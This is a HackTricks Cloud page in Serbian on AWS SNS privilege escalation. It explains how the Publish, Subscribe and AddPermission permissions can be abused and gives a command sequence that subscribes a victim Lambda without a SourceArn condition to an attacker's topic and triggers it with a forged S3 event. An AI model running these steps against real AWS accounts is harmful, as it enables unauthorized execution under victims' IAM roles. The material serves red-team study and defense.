AWS - SNS Privesc
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
SNS
Za više informacija pogledajte:
sns:Publish
An attacker može poslati zlonamerne ili neželjene poruke na SNS topic, što može dovesti do oštećenja podataka, pokretanja neželjenih akcija ili iscrpljivanja resursa.
aws sns publish --topic-arn <value> --message <value>
Potencijalni uticaj: iskorišćavanje ranjivosti, oštećenje podataka, neželjene radnje ili iscrpljivanje resursa.
sns:Subscribe
Napadač bi mogao da se pretplati na SNS topic, potencijalno stičući neovlašćen pristup porukama ili ometajući normalno funkcionisanje aplikacija koje se oslanjaju na taj topic.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Potencijalni uticaj: Neovlašćen pristup porukama (osetljive informacije), prekid usluge za aplikacije koje zavise od pogođene teme.
sns:AddPermission
Napadač bi mogao dodeliti neovlašćenim korisnicima ili servisima pristup SNS temi, potencijalno stičući dodatne dozvole.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Potential Impact: Neovlašćen pristup topic-u, izlaganje poruka, ili manipulacija topic-om od strane neovlašćenih korisnika ili servisa, prekid normalnog rada aplikacija koje zavise od topic-a.
Pozivanje Lambda pomoću zloupotrebe wildcard SNS dozvole (bez SourceArn)
Ako resource-based policy Lambda funkcije dozvoljava sns.amazonaws.com da je pozove bez ograničavanja source topica (SourceArn), bilo koji SNS topic (čak i u drugom account-u) može da se prijavi i okine funkciju. Attacker sa osnovnim SNS permissions može da natera Lambda da se izvrši pod svojom IAM rolom koristeći attacker-controlled input.
Tip
TODO: Može li se ovo zaista izvesti cross-account?
Preduslovi
- Victim Lambda policy sadrži izjavu kao ispod, bez
SourceArnuslova:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Koraci zloupotrebe (u istom ili između naloga)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Potencijalni uticaj: victim Lambda se izvršava sa svojom IAM rolom i procesuira attacker-controlled input. Ovo se može zloupotrebiti da funkcija izvrši osetljive radnje (npr. pisanje u S3, access secrets, izmena resursa) u zavisnosti od njenih dozvola.
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

